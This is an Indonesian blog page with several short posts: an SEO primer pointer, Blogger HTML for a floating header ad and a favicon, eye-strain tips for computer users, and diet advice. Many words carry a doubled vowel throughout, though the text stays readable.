Seperti sudah disebutkaan di atas, belajar SEO adalah mempelajaari sesuatu hal yang ga jelas alias geje! kenapa geje? ya karena emaang ga ada yang tau algo si mbah. Tapi anehnya banyaak orang yang belajar SEO! jadi kesimpulaannya belajar SEO itu geje tapi nyata, bingung??? ya sama saya juga bingung (gubrak)

Karena belajar SEO adalah mempelaajari mempelajari hal yang abu-abu (geje tapi nyata) maka diperlukan ketekunaan, bahkan mastah-mastah SEO saja sampe bertaun-taun belajar SEO dan tidak pernah brenti belajar.

Lah terus kenapa judulnya Belajar SEO 15 Menit?

Wait2 saya bukan nipu gan :D itu hanya untuk motivaasi saja supaya lebih giat belajar SEO newbie ataau pemula, ya seperti saya ini.

Ini ada artikel yang bagus untuk belajar SEO, wabil khusus bagi pemula atau newbie. Inti dari artikel belajar SEO 15 menit ini ada 6 yaitu:

• Keywords


• Links (internal - inbound - outbound)


• Meta Tags


• Content


• Visual Extras (tampilan visual)


• Domain (Nama Domain, URL, Permalink)

Artikel belajar SEO ini ditulis dalaam bahasa inggris gan, saya sengaaja memberi judul yang menarik supaya agan yang tertaarik bisa ikutan belajar SEO karena menurut saya neh artikel bagus banget buat referensi, kan sayaang kalo ilang hehehe...

Kalo agan mau liat laangsung silahkan ke tekaape di http://www.webconfs.com/15-minute-seo.php kalo ga mau ya gpp :p sekali lagi ini haanya untuk koleksi pribadi saya untuk belajar SEO, kalau mau protes ya protes ke webnya sono :p have a nice learning :)

inspired by SEOsaja.com

Baca Selengkapnya »

Cara Membuat Iklan Melayang Di atas Header

Mungkin sobat sudaah sering melihat iklan melayang di atas header ketika blog walking ataau di forum yang sobaat kunjungi. Membuat iklan melayang di atas header ini berbeda dengaan membuat iklan melayang dengan tombol close, perbedaanya adalah iklaan sifat iklan yang tidak seberapa menggaanggu pengunjung karena tidak perlu menutup iklan tersebut.

Jika kurang jelas tentang apa yang dimaksud dengaan iklan melayang di atas header coba sobat perhatikaan gambar berikut ini:

Cara membuat iklan melayang di atas header

1. Sebelum membuat iklan melayang di atas header jelas kudu login ke blogger.

2. Setelah itu pilih tab Rancangan > Edit HTML.

3. Cari kode <div id='outer-wrapper'>

4. Jika sudah ketemu, letakkan kode berikut di bawah <div id='outer-wrapper'>

<div style='display:scroll; top:0px;position:fixed;'>
<!-- Start Kode -->
<a href='http://blogndroy.blogspot.com'><img alt='usaha berhasil' border='0' height='54' src='http://i1111.photobucket.com/albums/h465/asistenikopin/JasaBuatIklanBanner.gif' width='972'/></a><!-- End Kode -->
</div>

5. Yang berwarna merah adalah panjang dan lebar gambaar iklan melayang tersebut, silahkan di sesuaikan dengan template blog sobat.

Selesai deh membuat iklan melayang di atas header, semoga bermanfaat :)

Baca Selengkapnya »

Tips Menjaga Kesehatan Mata Dari Radiasi Komputer

Tips Menjaga Kesehatan Mata Dari Radiasi Komputer - Akhir-akhir ini saya meraasa mata saya lelah sekali karena sering bekerja di depaan laptop, sudah sering dibahas bahwa menjaga kesehatan mata dari dari sinar radiasi komputer atau laptop adaalah hal yang sangat penting.

Saya jadi teringaat tips untuk menjaga kesehatan mata dari radiasi komputer atau laptop yang pernah saya baca di hariaan kompas, siapa tau tips ini berguna bagi sobat :)

Tips menjaga kesehatan mata dan melindungi dari radiasi komputer atau laptop

1. Gunakan penerangan yang cukup
   
   Kebanyakan ruangan kantor menggunaakan pencahayaan yang terang, bahkaan terlalu keras misalnya sinar matahari laangsung. Padahal, makin terang bukan berarti semaakin baik karena cahaya yang berlebihaan justru menambah ketegangan pada mata.
   
   Jika di sekitar Anda terdapat jendela, gunaakan tirai untuk meminimalkan cahaya yang masuk. Jika ingin menghemaat energi Anda bisa mematikan lampu ruangan dan memakaai penerangan alami dari matahari.


2. Atur pencahayaan di layar monitor
   
   Salah satu cara sederhana untuk menguraangi ketegangan mata adalah mengaatur tingkat keterangan (brightness) serta kontras di layaar monitor. Tidak ada pengaturan yang benar atau salah, tinggal disesuaikaan dengan kenyamanan mata Anda.


3. Sesuaikan ukuran huruf dan warna
   
   Berbeda dengan huruf di atas kertaas biasa, pada layar komputer huruf ini tersusun atas titik-titik atau pixels. Sehingga, untuk melihaat huruf pada layar, mata harus terus berakomodaasi, sehingga terjadi ketegangan. Mengatur ukuraan huruf serta warna bisa mencegah ketegangaan mata berlebihan. Caranya, tambah ukuran huruf sehingga jelas terbaca tanpa perlu mencondongkaan tubuh.


4. Istirahat
   
   Seharian berada di depan layar monitor tentu menyebaabkan rasa lelah. The National Institute of Occupational Safety and Health merekomendasikaan pekerja yang menghabiskan waktunya di depan komputer untuk mengambil jeda lima menit untuk satu jam waktu Anda di depan komputer. Sementaara itu American Optometric Association merekomendasikan jeda 15 menit untuk setiap dua jam sekali agar mata menjaadi rileks.


5. Jaga jarak
   
   Menatap huruf di kertas biasa kemudiaan beralih ke layar komputer secara terus menerus akan menimbulkaan ketegangan pada mata. Untuk mencegahnya, dekatkaan kertas yang akan dibaca sedekat mungkin dengaan layar monitor atau menggantungnya di saamping layar.(health.kompas.com)

Selain tips menjaga kesehatan mata dari layar atau monitor komputer yang sudaah disebutkan diatas, sobat juga bisa menggunaakan bantuan sebuah software yang sangat powerfull. Software ini ukurannya kecil, bisa diset tingkaat pencahayaannya sesuai keinginan sobaat untuk mengatur kecerahan monitor.

Untuk download silahkan klik di sini. Berikut screenshotnya

Nah lihat perbedaanya, itu diatur dengaan tingkat pencahayaan hanya 40% sobat bisa merubaahnya dengan mengklik icon aplikasi tersebut di pojok kanan.

Semoga tips menjaga kesehatan mata dengan mengatur pencahayaan monitor ini bermaanfaat :)

Baca Selengkapnya »

Cara Membuat dan Mengganti Icon (Favicon) Blog

Bingung mo nulis apa neh, akhirnya posting tentaang cara membuat dan mengganti icon (favicon) blog ini hehehe... Mungkin sobat blogger lagi bosen dengaan icon bawaan blogger atau blogspot yang berbentuk huruf B, nah biar gag bosen mendingaan sobat bikin icon (favicon) sendiri deh, plus memasang icon tersebut di blog sobat sehingga bisa taampil di address bar.

Membuat icon dengan tools online

Sebelum kita mengganti icon blog tentunya harus ada icon yang akaan dipasang di blog kita naanti kan? Nah supaya lebih mudaah sobat bisa menggunakan beberaapa tools online untuk membuat animasi text (font), logo, animator, dll. Berikut ini layanan online yaang bisa membantu sobat untuk membuat icon (favicon) blog :

• www.textspace.net


• www.flamingtext.com


• cooltext.com


• www.simwebsol.com


• www.logomatik.net

Gimana? cukup banyaak kan tool untuk membuat icon (favicon) yang akan dipaasang di blog sobat? Pilih-pilih ajah sesuka hati dan sesuaai selera hehehe...

Mengganti ekstensi file

Setelah sobat membuat icon blog sekaraang saatnya untuk memasaang icon tersebut, caranya cukup mudah kok. Tapi sebelum kita memasaang icon, file gambar yang sobat buat taadi masih berupa *.jpg atau *.gif padahal untuk menggaanti favicon dibutuhkan file *.ico, tenang lagi-lagi kita akan menggunaakan tool online yaitu http://www.icoconverter.com/

Mengganti icon (favicon) blog

Ikuti langkah-langkah berikut:

• Biasa login dulu ke blogger.


• Pilih Rancangan (Design) > Elemen Halaman (Page Element) > Favicon (Edit).


• Setelah itu save.

Apakah sudah selesai? belum sob, untuk segera menampilkaannya pada address bar sobat harus edit html templaatenya, oia pastikan sobat sudah mengupload iconnya. Cari kode </head> dan letakkan kode berikut

<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVPxXr71V2SZR7Zq6059US-Fhu4NKbK6fRCATKpqme_mZHbxkeItPykAD5P0jJ2gIpKVRB4aPHmkFT1CjR1X8ftxKTeQ7vCfTow6E5K5mCufYeptZXsxSEqPfxAfFmmJSu2QZv23PEfEAr/s320/favicon.ico' rel='icon' type='image/x-icon'/>

Ganti alamat penyimpanan icon (favicon) diatas sesuaai icon blog sobat. Selesai deh membuat dan mengganti icon (favicon) blog, sekaraang blog sobat memiliki ciri khas tersendiri. Selain mengganti icon, sobat juga bisa mempercantik blog sobaat dengan mengganti kursor blog dengan gambar atau animasi.

Selamat mencoba :)

Baca Selengkapnya »

Tips Diet : 5 Hal yang Merusak Program Diet Anda

Jika di posting sebelumnya membaahas 13 langkah diet sehat, berikut ini adaalah 5 hal yang bisa merusak program diet Anda.

5 Hal Perusak Program Diet

5 Hal yang Merusak Program Diet Anda

1. Makan malam di restoran. Ini adalah hal yaang paling sulit dihindari, terutaama jika Anda melakukannya dengaan teman-teman Anda dan biasanya dalam rangka meraayakan sesuatu. Belum lagi jika Anda adalah seorang petualaang kuliner, hal ini bisa menjaadi perusak program diet yang sudah Anda susun. Cobalah untuk menaahan diri dengan tidak memesan makanaan yang terlalu berlebihan.


2. Makana manis dan junk food. Es krim dan camilan yang manis memaang sangat berat untuk dihindari, tetap fokus dengaan program diet Anda. Selain makanaan manis, junk food atau makanan cepat saji juga bisa menjaadi perusak program diet Anda. Saat ini tren makaanan cepat saji sudah menjadi lifestyle bagi sebagian orang.


3. Terlalu sibuk. Selain menjaalani diet sehat, olahraga juga menjadi kunci kesuksesaan Anda dalam menjalaankan program diet sehat dan bisa membantu mengecilkan perut buncit. Luangkan waktu untuk berolah raga.


4. Bosan dan jenuh. Jika di point ketiga disarankan meluaangkan waktu untuk berolah raga, maka di poin keempaat ini rasa bosan dan jenuh yang bisa merusaak program diet Anda. Bersabarlah dan jangaan putus asa dan percayaalah bahwa program diet Anda akan membuahkan hasil.


5. Menemukan motivasi dan mempertahaankan program diet Anda. Poin keempaat akan bisa berjalan dengan baik jika Anda selalu meraasa termotivasi untuk menjaadi lebih lai dengan diet sehat. Cobalah untuk membuaat target dalam menjalankan program diet sehat Anda. Anda sudah berada di gerbang sukses, maka peliharaalah motivasi Anda.

Semoga tips ini bisa bermanfaat dan Anda bisa melaksanakan program diet dengan baik.

Baca Selengkapnya »

Tips dan Cara Diet : 13 Langkah Diet Sehat

Mungkin masalaah tentang bagaimana diet yang benar, atau bagaimana diet yang sehat adalah masalah yaang sering kita temui. Saya bukan pakar diet ataupun paakar gizi, artikel dengan judul Tips dan Cara Diet : 13 Langkah Diet Sehat ini saya tulis untuk sahaabat saya yang semalem habis curhat ^_^

Bagi sebagiaan orang diet adalah sesuatu yang sulit, bahkaan teramat sulit. Yang lebih parah lagi, ada yang melakukaan diet dengan membabi buta alias tidak memperhaatikan kesehatannya sendiri.

Tips diet yang baik adalah tips diet dengan memperhatikan kesehatan tubuh.

Tips dan Cara Diet Sehat

Mungkin Anda sudah sering mendengaar tips diet, tetapi tips diet yang ada di sini adalaah tips diet sehat. Tips dan Cara Diet : 13 Langkah Diet Sehat ini saya ambil dari http://www.wellnessletter.com

Tips dan Cara Diet dengan 13 Langkah

1. Tips diet pertama adalah mengkonsumsi makaanan berserat tinggi yaitu, buah-buahan, sayuran, kacang-kacaangan, dan biji-bijian. Makanaan tersebut mempunyai karbohidrat yang "cukup", bergizi, dan relatif rendah kalori. Diet dengan makaanan berserat akan menyediaakan 20 sampai 30 gram serat makanan yang Anda butuhkaan setiap hari, yang memperlambaat penyerapan karbohidrat, jadi ada efek pengurangaan pada insulin dan gula darah, dan memberikaan manfaat kesehatan lainnya juga. Makanaan seperti juga menyediakan vitamin penting, mineral, dan phytochemical (bahan kimia tanaaman penting bagi kesehatan yang baik).


2. Selain makanaan berserat, tips diet selanjutnya adalah mengkonsumsi buah-buahan dan sayuran seperti brokoli, wortel, melon, dan buah jeruk. Antioksidan dan nutrisi lainnya dalam makanaan ini dapat membantu melindungi terhadap pengembangaan beberapa jenis kanker dan penyakit lainnya. Makan lima atau lebih porsi sehaari.


3. Tips diet ketiga menguraangi konsumsi makanan manis, makanaan hasil olah produksi seperti roti putih, dan cemilaan. Hal ini perlu dilakukan dalam melakukaan tips diet karena mengandung gula, yang merupakaan zat aditif.


4. Tips diet selanjutnya adalah dengaan mengurangi makanan berlemak yaang mengandung kolesterol seperti gule, rawin, dll. Hal ini penting sekali karena makanaan tersebut juga memiliki efek yang merugikaan kesehatan lainnya. Pilih daging tanpa lemaak, unggas tanpa kulit, dan produk susu tanpa lemaak atau rendah kalori.


5. Untuk mengoptimalkan tips diet diatas sebaiknya hindari makaanan yang dijual di tempat-tempat umum seperti mall atau supermaket yang biasaanya dalam bentuk masakan siap saji (fast food).


6. Tips diet berikutnya mengkonsumsi ikan dan kacang-kacangaan, sebagai pengganti daging yang mengaanduk banyak lemak.


7. Tips diet ini akan berhasil jika Anda bisa mengaatur porsi makan, terutama makanan berkalori tinggi. Porsi makan akaan meingkat ketika berada di restoran dan ketika ada momen2 seperti traktiran atau perayaan.


8. Jaga asupan kolesterol di bawaah 300 miligram per hari. Kolesterol hanya ditemukan di produk hewani, seperti daaging, unggas, produk susu, dan kuning telur.


9. Tips diet berikutnya mengkonsumsi berbagaai makanan yang Anda inginkan. Jangan mencoba untuk mengisi kebutuhaan gizi anda dengan makan makanaan yang sama setiap hari. Ada kemungkinan baahwa tidak semua nutrisi penting telah terseraap ke dalam tubuh sehingga jangan haanya terpaku pada satu jeis makanan. Selain itu, ini akan membaatasi eksposur Anda untuk setiap pestisida atau zat beraacun yang mungkin ada dalam satu makanan tertentu.


10. Tips diet kesepuluh adalaah mengkonsumsi kalsium yang cukup. Kalsium sangaat penting untuk tulang dan gigi yang kuat. Dapatkaan kalsium dari makanan atau minumaan yang rendah kalori, seperti susu skim dan yogurt rendaah kalori. Jika Anda tidak dapat mendapatkan jumlah optimaal dari makanan, konsumsi suplemen.


11. Mengkonsumsi vitamin dan mineral dari makanaan, bukan dari suplemen. Suplemen tidak bisa sepenuhnya diandaalkan untuk melancarkaan program diet Anda.


12. tips diet selanjutnya pertahankan berat badaan yang diinginkan. Keseimbangan energi (kalori) asupan dengaan output energi. Latihan dan aktivitas fisik lainnya sangaat penting.


13. Tips diet yang terkahir adalah mengurangi alkohol. Satu gelas sehaari untuk wanita, sedangkan untuk pria adaalah dua gelas sehari adalah jumlah maksimal dalaam program diet Anda.Tips diet ini akaan sia-sia karena minuman beralkohol hanya bisa menaambahkan banyak kalori untuk diet Anda taanpa memberikan nutrisi.

Semoga artikel Tips dan Cara Diet : 13 Langkah Diet Sehat ini bermaanfaat dan selamat mencoba tips diet tersebut, baca juga 5 hal yang bisa merusak program diet Anda dan tips mencari jodoh idaman.

Tags : cara mengecilkan perut, tips diet, cara menurunkan berat badan, menu diet, tips menurunkan berat badan, cara diet sehat, diet sehat, menu diet sehat

Baca juga : Cara Menghitung Masa Subur

Baca Selengkapnya »